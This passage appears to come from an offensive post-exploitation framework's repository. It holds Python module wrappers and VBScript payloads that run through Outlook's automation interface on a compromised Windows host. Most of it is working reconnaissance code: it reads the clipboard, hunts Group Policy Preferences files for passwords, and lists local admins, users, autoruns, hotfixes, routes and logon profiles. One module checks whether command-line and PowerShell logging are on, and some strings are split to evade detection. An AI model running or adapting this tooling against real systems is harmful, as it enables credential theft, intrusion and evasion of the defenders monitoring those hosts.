list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", 64, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetRegValue("HKLM", "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Notify", 64, 2147483650, "STDREGPROV") & vbCrLf & vbCrLf list_autoruns = list_autoruns & GetRegValue("HKLM", "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Userinit", "Notify", 64, 2147483650, "STDREGPROV") & vbCrLf & vbCrLf list_autoruns = list_autoruns & GetRegValue("HKLM", "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Shell", "Notify", 64, 2147483650, "STDREGPROV") & vbCrLf & vbCrLf list_autoruns = list_autoruns & GetRegValue("HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", "WebCheck", 64, 2147483650, "STDREGPROV") & vbCrLf & vbCrLf list_autoruns = list_autoruns & GetRegValue("HKLM", "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows", "AppInit_DLLs", 64, 2147483650, "STDREGPROV") & vbCrLf & vbCrLf 'Files list_autoruns = list_autoruns & "FILE Autoruns:" & vbCrLf list_autoruns = list_autoruns & dir_lister("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp", 0, False, "*", "*", True, "mb") & vbCrLf list_autoruns = list_autoruns & dir_lister("C:\Users\" & {{username}} & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup", 0, False, "*", "*", True, "mb") & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_basic.py ================================================ from lib.core.specmodule import SpecModule from datetime import datetime class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates basic details about the host. It retrieves: - %Computername% - %Username% - %Userdomain% - %Userprofile% - %Userdnsdomain% - %Logonserver% - %Homepath% It uses Wscript.Shell - ExpandEnvironmentStrings """ self.entry = 'list_basic' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): if ("-VSTO" not in agent.hostname): # Handle exception when VSTO agents are used agent.hostname = data.split()[3] agent.username = data.split()[1] ================================================ FILE: functions/enumerate/host/list_basic.txt ================================================ Function list_basic() On error resume next Set sh = window.external.OutlookApplication.CreateObject("Wsc" & "ript.Sh" & "ell") gds = sh.ExpandEnvironmentStrings("%COMPUTERNAME%") huj = sh.ExpandEnvironmentStrings("%USERNAME%") imd = sh.ExpandEnvironmentStrings("%USERDOMAIN%") fvy = sh.ExpandEnvironmentStrings("%USERPROFILE%") udd = sh.ExpandEnvironmentStrings("%USERDNSDOMAIN%") fah = sh.ExpandEnvironmentStrings("%LOGONSERVER%") hyf = sh.ExpandEnvironmentStrings("%HOMEPATH%") If udd = "%USERDNSDOMAIN%" Then udd = "WORKGROUP" End If list_basic = "UserName: " & huj & vbCrLf & "ComputerName: " & gds & vbCrLf & "UserDomain: " & imd & vbCrLF & "UserDNSDomain: " & udd & vbCrLF & "Logon server: " & fah & vbCrLF & "Homepath: " & hyf & vbCrLF & "UserProfile: " & fvy & vbCrLF & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_boottime.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates last boot time using WMI. It queries LastBootUpTime from Win32_OperatingSystem and converts it to a readable format. It uses WbemScripting.SWbemLocator - Query: Select LastBootUpTime from Win32_OperatingSystem """ self.entry = 'list_boottime' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_boottime.txt ================================================ Function list_boottime() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set col = objWMIService.ExecQuery ("Select LastBootUpTime from Win32_OperatingSystem") For Each obj in col list_boottime = obj.LastBootUpTime Next list_boottime = ( Left(list_boottime, 4) _ & "/" & Mid(list_boottime, 5, 2) _ & "/" & Mid(list_boottime, 7, 2) _ & " " & Mid(list_boottime, 9, 2) _ & ":" & Mid(list_boottime,11, 2) _ & ":" & Mid(list_boottime,13, 2)) list_boottime = "Last Boot time: " & list_boottime End Function ================================================ FILE: functions/enumerate/host/list_clipboard.py ================================================ from lib.core.specmodule import SpecModule from datetime import datetime class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Creates a html object and retrieved the content from the clipboard It uses htmlfile - ParentWindow.ClipboardData.GetData() """ self.entry = 'list_clipboard' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_clipboard.txt ================================================ Function list_clipboard() On error resume next Set html = window.external.OutlookApplication.CreateObject("htmlfile") text = html.ParentWindow.ClipboardData.GetData("text") list_clipboard = "Clipboard data retrieved: " & vbCrLf & text End Function ================================================ FILE: functions/enumerate/host/list_environmentvariables.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Lists interesting registry values that might be passwords or other interesting configuration settings It uses WbemScripting.SWbemNamedValueSet - Add - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumValues - ConnectServer(root\cimv2).GetDwordValue - ConnectServer(root\cimv2).GetStringValue - ConnectServer(root\cimv2).GetExpandedStringValue - ConnectServer(root\cimv2).GetBinaryValue - ConnectServer(root\cimv2).GetMultiStringValue - ConnectServer(root\cimv2).GetQWORDValue """ self.entry = 'list_environmentvariables' self.depends = ['./helperFunctions/Getallregvalues.txt'] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_environmentvariables.txt ================================================ Function list_environmentvariables() On error resume next list_environmentvariables = list_environmentvariables & GetAllRegValues("HKLM", "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", 64, 2147483650) & vbCrLF & vbCrLF list_environmentvariables = list_environmentvariables & GetAllRegValues("HKCU", "Environment", 64, 2147483649) & vbCrLF & vbCrLF list_environmentvariables = list_environmentvariables & GetAllRegValues("HKCU", "Volatile Environment", 64, 2147483649) & vbCrLF End Function ================================================ FILE: functions/enumerate/host/list_gpp.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.depends = ['./helperFunctions/dir_lister.txt'] self.help = """ Lists Group Policy Preferences files local on host that could contain passwords, configurations or other data. It looks inside C:\\Windows\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\domain.com\\Policies\\ on the local host for the following files Groups.xml Drives.xml Services.xml ScheduledTasks.xml Datasources.xml Printers.xml It uses Wscript.Shell - ExpandEnvironmentStrings It uses Scripting.FileSystemObject - FolderExists - GetFolder - GetFolder().Files - GetBaseName - GetExtensionName """ self.entry = 'list_gpp' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_gpp.txt ================================================ Function list_gpp() On error resume next Set sh = window.external.OutlookApplication.CreateObject("Wscript.Shell") Set fs = window.external.OutlookApplication.CreateObject("Scripting.FileSystemObject") dom = sh.ExpandEnvironmentStrings("%USERDNSDOMAIN%") polpath = "C:\Windows\sysnative\GroupPolicy\DataStore\0\sysvol\" & dom & "\Policies\" If fs.FolderExists(polpath) = True Then output = "Found " & "C:\Windows\sysnative\GroupPolicy\DataStore\0\sysvol\" & dom & "\Policies\" & vbCrLf output = output & "Searching for Groups.xml" & vbCrLf & dir_lister(polpath, 0, 4, "xml", "Groups", True, "mb") & vbCrLf output = output & "Searching for Drives.xml" & vbCrLf &dir_lister(polpath, 0, 4, "xml", "Drives", True, "mb") & vbCrLf output = output & "Searching for Services.xml" & vbCrLf &dir_lister(polpath, 0, 4, "xml", "Services", True, "mb") & vbCrLf output = output & "Searching for ScheduledTasks.xml" & vbCrLf &dir_lister(polpath, 0, 4, "xml", "ScheduledTasks", True, "mb") & vbCrLf output = output & "Searching for Datasources.xml" & vbCrLf &dir_lister(polpath, 0, 4, "xml", "Datasources", True, "mb") & vbCrLf output = output & "Searching for Printers.xml" & vbCrLf &dir_lister(polpath, 0, 4, "xml", "Printers", True, "mb") & vbCrLf else output = "Local Policy Folder not found at " & polpath End If list_gpp = output End Function ================================================ FILE: functions/enumerate/host/list_hostsfile.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ This module reads the content of the hostsfile under C:\windows\system32\drivers\etc\hosts and outputs to the log. This might reveal specific hosts or other domains etc. It uses Scripting.FileSystemObject - OpenTextFile - OpenTextFile().ReadFile.ReadAll """ self.entry = 'list_hostsfile' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_hostsfile.txt ================================================ Function list_hostsfile() On error resume next Set fs = window.external.OutlookApplication.CreateObject("Scripting.FileSystemObject") If fs.FileExists("C:\Windows\System32\drivers\etc\hosts") = True Then set ReadFile = fs.OpenTextFile("C:\Windows\System32\drivers\etc\hosts", 1) content = ReadFile.ReadAll else content = "Hosts file not found - WTF!" End If list_hostsfile = "C:\Windows\System32\drivers\etc\hosts:" & vbCrLf & content End Function ================================================ FILE: functions/enumerate/host/list_hotfixes.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Using WMI it enumerates the installed hotfixes. The Win32_QuickFixEngineering is used (Same as the Powershell cmdlet get-hotfix) It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select * from Win32_QuickFixEngineering """ self.entry = 'list_hotfixes' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_hotfixes.txt ================================================ Function list_hotfixes() On Error Resume Next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set colItems = objWMIService.ExecQuery("Select * from Win32_QuickFixEngineering",,48) list_hotfixes = "HotFixID - Description - InstalledOn" & vbCrLf For Each objItem in colItems list_hotfixes = list_hotfixes & objItem.HotFixID & " - " & objItem.Description & " - " & objItem.InstalledOn & vbCrLf Next End Function ================================================ FILE: functions/enumerate/host/list_installedapps.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the installed applications. It enumerates information from the HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ & HKLM\\SOFTWARE\\wow6432node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ registry keys. It uses WbemScripting.SWbemLocator - Add - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumKey - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_installedapps' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_installedapps.txt ================================================ Function list_installedapps() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") objLocator.Add "__ProviderArchitecture", 64 Set objReg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") KeyPathApps = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" objReg.EnumKey 2147483650, KeyPathApps, arrSubkeysapps apps = "Installed 64bits Applications:" & vbCrLf For Each strSubkeyapps In arrSubkeysapps objReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, "DisplayName", appName If appName <> "" Then objReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, "DisplayVersion", Version apps = apps & appName & " | " & Version & vbCrLf End If Next apps = apps & vbCrLf & vbCrLf objLocator.Add "__ProviderArchitecture", 32 Set objReg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") KeyPathApps = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" objReg.EnumKey 2147483650, KeyPathApps, arrSubkeysapps apps = apps & "Installed 32bits Applications:" & vbCrLf For Each strSubkeyapps In arrSubkeysapps objReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, "DisplayName", appName If appName <> "" Then objReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, "DisplayVersion", Version apps = apps & appName & " | " & Version & vbCrLf End If Next list_installedapps = apps & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_installeddotnet.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the installed .NET versions. Based on MS documentation: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed Lists the installed versions It uses WbemScripting.SWbemNamedValueSet - Add - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumValues - ConnectServer(root\cimv2).GetDwordValue - ConnectServer(root\cimv2).GetStringValue - ConnectServer(root\cimv2).GetExpandedStringValue - ConnectServer(root\cimv2).GetBinaryValue - ConnectServer(root\cimv2).GetMultiStringValue - ConnectServer(root\cimv2).GetQWORDValue """ self.entry = 'list_installeddotnet' self.depends = ['./helperFunctions/Getregvalue.txt'] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_installeddotnet.txt ================================================ Function list_installeddotnet() On error resume next list_installeddotnet = "INSTALLED .NET VERSIONS:" & vbCrLf x64v1 = GetRegValue("HKLM", "Software\Microsoft\.NETFramework\Policy\v1.0\3705", "Install", 64, 2147483650, "STDREGPROV") x64v11 = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v1.1.4322", "Install", 64, 2147483650, "STDREGPROV") x64v2 = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v2.3.50727", "Install", 64, 2147483650, "STDREGPROV") x64v3 = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v3.0\Setup", "InstallSuccess", 64, 2147483650, "STDREGPROV") x64v35 = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v3.5", "Install", 64, 2147483650, "STDREGPROV") x64v40C = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v4\Client", "Install", 64, 2147483650, "STDREGPROV") x64v40F = GetRegValue("HKLM", "Software\Microsoft\NET Framework Setup\NDP\v4\Full", "Install", 64, 2147483650, "STDREGPROV") x86v1 = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\.NETFramework\Policy\v1.0\3705", "Install", 64, 2147483650, "STDREGPROV") x86v11 = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v1.1.4322", "Install", 64, 2147483650, "STDREGPROV") x86v2 = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v2.3.50727", "Install", 64, 2147483650, "STDREGPROV") x86v3 = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v3.0\Setup", "InstallSuccess", 64, 2147483650, "STDREGPROV") x86v35 = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v3.5", "Install", 64, 2147483650, "STDREGPROV") x86v40C = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v4\Client", "Install", 64, 2147483650, "STDREGPROV") x86v40F = GetRegValue("HKLM", "Software\WOW6432Node\Microsoft\NET Framework Setup\NDP\v4\Full", "Install", 64, 2147483650, "STDREGPROV") if (inStr(1,x64v1,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v1.0 installed" & vbCrLf end if if (inStr(1,x64v11,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v1.1 installed" & vbCrLf end if if (inStr(1,x64v2,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v2.0 installed" & vbCrLf end if if (inStr(1,x64v3,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v3.0 installed" & vbCrLf end if if (inStr(1,x64v35,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v3.5 installed" & vbCrLf end if if (inStr(1,x64v40C,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v4.0-Client installed" & vbCrLf end if if (inStr(1,x64v40F,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X64 .NET Framework v4.0-Full installed" & vbCrLf end if if (inStr(1,x86v1,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v1.0 installed" & vbCrLf end if if (inStr(1,x86v11,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v1.1 installed" & vbCrLf end if if (inStr(1,x86v2,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v2.0 installed" & vbCrLf end if if (inStr(1,x86v3,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v3.0 installed" & vbCrLf end if if (inStr(1,x86v35,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v3.5 installed" & vbCrLf end if if (inStr(1,x86v40C,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v4.0-Client installed" & vbCrLf end if if (inStr(1,x86v40F,"Path:",1) = 1) then list_installeddotnet = list_installeddotnet & "X86 .NET Framework v4.0-Full installed" & vbCrLf end if End Function ================================================ FILE: functions/enumerate/host/list_installedpowershell.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the current installed PowerShell versions on the host using registry. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumKey - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_installedpowershell' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_installedpowershell.txt ================================================ Function list_installedpowershell() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objReg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") keyps3 = "SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" keyps1 = "SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" poshkey = "SOFTWARE\Microsoft\PowerShell" objReg.EnumKey 2147483650, keyps1, arrSubKeys objReg.GetStringValue 2147483650, keyps1, "PowerShellVersion", ver2 objReg.EnumKey 2147483650, keyps3, arrSubKeys objReg.GetStringValue 2147483650, keyps3, "PowerShellVersion", ver3 If IsNull(ver3) Then If IsNull(ver2) Then val = "nothing" Else val = ver2 End If Else val = ver3 End If list_installedpowershell = "PowerShell Version: " & val & vbCrlf & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_iprouting.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the IP Routing table using the Win32_IP4RouteTable and the Win32_IP4PersistedRouteTable classes. (Only a few selected attributes is dumped) Official documentation: - https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmiiprouteprov/win32-ip4routetable - https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmiiprouteprov/win32-ip4persistedroutetable It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: SELECT * FROM Win32_IP4RouteTable - Query: SELECT * FROM Win32_IP4PersistedRouteTable """ self.entry = 'list_iprouting' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_iprouting.txt ================================================ Function list_iprouting() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "\root\cimv2") Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_IP4RouteTable",,48) list_iprouting = "----- DYNAMIC ROUTES -----" & vbCrlf For Each objItem in colItems list_iprouting = list_iprouting & "Description: " & objItem.Description & vbCrlf list_iprouting = list_iprouting & "Interface Index: " & objItem.InterfaceIndex & vbCrlf list_iprouting = list_iprouting & "Metric: " & objItem.Metric1 & vbCrlf list_iprouting = list_iprouting & "Protocol: " & objItem.Protocol & vbCrlf & vbCrlf Next list_iprouting = list_iprouting & "----- PERSISTENT ROUTES -----" & vbCrlf Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_IP4PersistedRouteTable",,48) For Each objItem in colItems2 list_iprouting = list_iprouting & "Description: " & objItem.Description & vbCrlf list_iprouting = list_iprouting & "Metric: " & objItem.Metric1 & vbCrlf Next End Function ================================================ FILE: functions/enumerate/host/list_localadmins.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the local administrators on the host specified with the inMachine option It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select * from Win32_ComputerSystem - Query: SELECT * FROM Win32_GroupUser WHERE GroupComponent=Win32_Group.Domain=VARIABLE,Name='Administrators' """ self.entry = 'list_localadmins' self.depends = [] self.options['host'] = { "value": ".", "required": True, "description": "The machine you want to list local admins from. It defaults to localhost using .", "handler": quotedstring } super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_localadmins.txt ================================================ Function list_localadmins() Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer({{host}}, "root\cimv2") Set colItems1 = objWMIService.ExecQuery( "Select * from Win32_ComputerSystem") For each objItem in colItems1 MachineName = objItem.Name Next toreturn = toreturn & "Administrators Group Membership on Machine : " & MachineName & vbCrLf toreturn = toreturn & "-----Group Members------" & vbCrLf Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_GroupUser WHERE GroupComponent=""Win32_Group.Domain='" & MachineName & "',Name='Administrators'""") For Each Path In colItems2 NamesArray = Split(Path.PartComponent,",") strMemberName = Replace(Replace(NamesArray(1),Chr(34),""),"Name=","") DomainNameArray = Split(NamesArray(0),"=") strDomainName = Replace(DomainNameArray(1),Chr(34),"") If strDomainName <> strComputerName Then strMemberName = strDomainName & "\" & strMemberName End If toreturn = toreturn & strMemberName & vbCrLf Next list_localadmins = toreturn & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_localusers.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the local users on the current host It uses CreateObject("Wscript.Shell") It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: "SELECT * FROM Win32_UserAccount WHERE LocalAccount = True" """ self.entry = 'list_localusers' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_localusers.txt ================================================ Function list_localusers() on error resume next Set sh = window.external.OutlookApplication.CreateObject("Wscript.Shell") compname = sh.ExpandEnvironmentStrings("%COMPUTERNAME%") Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") toreturn = toreturn & "Local users on Machine " & compname & " : " & vbCrLf Set colUsers = objWMIService.ExecQuery("SELECT * FROM Win32_UserAccount WHERE LocalAccount = True") For Each objUser in colUsers toreturn = toreturn & objUser.Name & vbCrLf toreturn = toreturn & "--Description: " & objUser.Description & vbCrLf toreturn = toreturn & "--Disabled: " & objUser.Disabled & vbCrLf toreturn = toreturn & "--FullName: " & objUser.FullName & vbCrLf toreturn = toreturn & "--Lockout: " & objUser.Lockout & vbCrLf toreturn = toreturn & "--PasswordChangeable: " & objUser.PasswordChangeable & vbCrLf toreturn = toreturn & "--PasswordExpires: " & objUser.PasswordExpires & vbCrLf toreturn = toreturn & "--PasswordRequired: " & objUser.PasswordRequired & vbCrLf toreturn = toreturn & vbCrLf Next list_localusers = toreturn End Function ================================================ FILE: functions/enumerate/host/list_logging.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates status of logging on the host. It figures out status on logging settings for: - ProcessCreationIncludeCmdLine - PowerShell Script Block Logging - PowerShell Transcript Logging It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumKey - ConnectServer(root\cimv2).GetDWORDValue """ self.entry = 'list_logging' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_logging.txt ================================================ Function list_logging() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objReg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") ' Cmd Line Process Auditing keycmdlog = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" objReg.EnumKey 2147483650, keycmdlog, arrSubKeys objReg.GetDWORDValue 2147483650, keycmdlog, "ProcessCreationIncludeCmdLine_Enabled", isenabled If IsNull(isenabled) Then val = "Not Enabled" Else If isenabled > 0 Then val = "Enabled!" Else val = "Not Enabled" End If End If cmdaud = "Command Line Proc Arg Auditing: " & val & vbCrlf 'Posh logging pslog = "" KeyPSLog1 = "Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" KeyPSLog2 = "Software\Policies\Microsoft\Windows\PowerShell\Transcription" objReg.EnumKey 2147483650, KeyPSLog1, arrSubkeys objReg.GetDWORDValue 2147483650, KeyPSLog1, "EnableScriptBlockLogging", scriptlogging If scriptlogging = 1 Then pslog = pslog & "PowerShell Script Block Logging: Enabled" & vbCrlf Else pslog = pslog & "PowerShell Script Block Logging: Disabled" & vbCrlf End If objReg.EnumKey 2147483650, KeyPSLog2, arrSubkeys objReg.GetDWORDValue 2147483650, KeyPSLog2, "EnableTranscripting", enabletranscripting objReg.GetDWORDValue 2147483650, KeyPSLog2, "OutputDirectory", outputdirectory objReg.GetDWORDValue 2147483650, KeyPSLog2, "EnableInvocationHeader", enableinvocationheader If enabletranscripting = 1 Then pslog = pslog & "PowerShell Transcription Logging: Enabled" & vbCrlf Else pslog = pslog & "PowerShell Transcription Logging: Disabled" & vbCrlf End If If outputdirectory = 1 Then pslog = pslog & "PowerShell Output Directory: Enabled" & vbCrlf Else pslog = pslog & "PowerShell Output Directory: Disabled" & vbCrlf End If If enableinvocationheader = 1 Then pslog = pslog & "PowerShell Invocation Header: Enabled" & vbCrlf Else pslog = pslog & "PowerShell Invocation Header: Disabled" & vbCrlf End If list_logging = cmdaud & vbCrLF & pslog & vbCrLF End Function ================================================ FILE: functions/enumerate/host/list_mappeddrives.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the mapped drives on the host. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select Name,ProviderName from Win32_MappedLogicalDisk """ self.entry = 'list_mappeddrives' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_mappeddrives.txt ================================================ Function list_mappeddrives() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set col = objWMIService.ExecQuery ("Select Name,ProviderName from Win32_MappedLogicalDisk") drives = "Letter - Provider" & vbCrLf For Each obj in col drives = drives & obj.Name & " - " & obj.ProviderName & vbCrLf Next list_mappeddrives = drives End Function ================================================ FILE: functions/enumerate/host/list_networkcardinfo.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates all the information from the network cards. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: SELECT * FROM Win32_NetworkAdapterConfiguration """ self.entry = 'list_networkcardinfo' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_networkcardinfo.txt ================================================ Function list_networkcardinfo() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "\root\cimv2") Set colNicConfigs = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48) For Each NIC in colNicConfigs For Each nicAttribute in NIC.Properties_ if Not (IsNull(nicAttribute.value) OR IsEmpty(nicAttribute.value)) Then if IsArray(nicAttribute) then nicResponse = nicResponse & nicAttribute.Name & ": " & Join(nicAttribute, ", ") & vbCrLf else nicResponse = nicResponse & nicAttribute.Name & ": " & nicAttribute.value & vbCrLf end if end if Next Next list_networkcardinfo = nicResponse End Function ================================================ FILE: functions/enumerate/host/list_networklogon.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates all the information from the Network login profile. Contains interesting information such as logon restrictions, logon scripts, number of logons and password age It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: SELECT * FROM Win32_NetworkLoginProfile """ self.entry = 'list_networklogon' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_networklogon.txt ================================================ Function list_networklogon() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "\root\cimv2") Set colNetLogProfs = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkLoginProfile",,48) For Each NIC in colNetLogProfs For Each netlogAttribute in NIC.Properties_ if Not (IsNull(netlogAttribute.value) OR IsEmpty(netlogAttribute.value)) Then if IsArray(netlogAttribute) then netlogResponse = netlogResponse & netlogAttribute.Name & ": " & Join(netlogAttribute, ", ") & vbCrLf else netlogResponse = netlogResponse & netlogAttribute.Name & ": " & 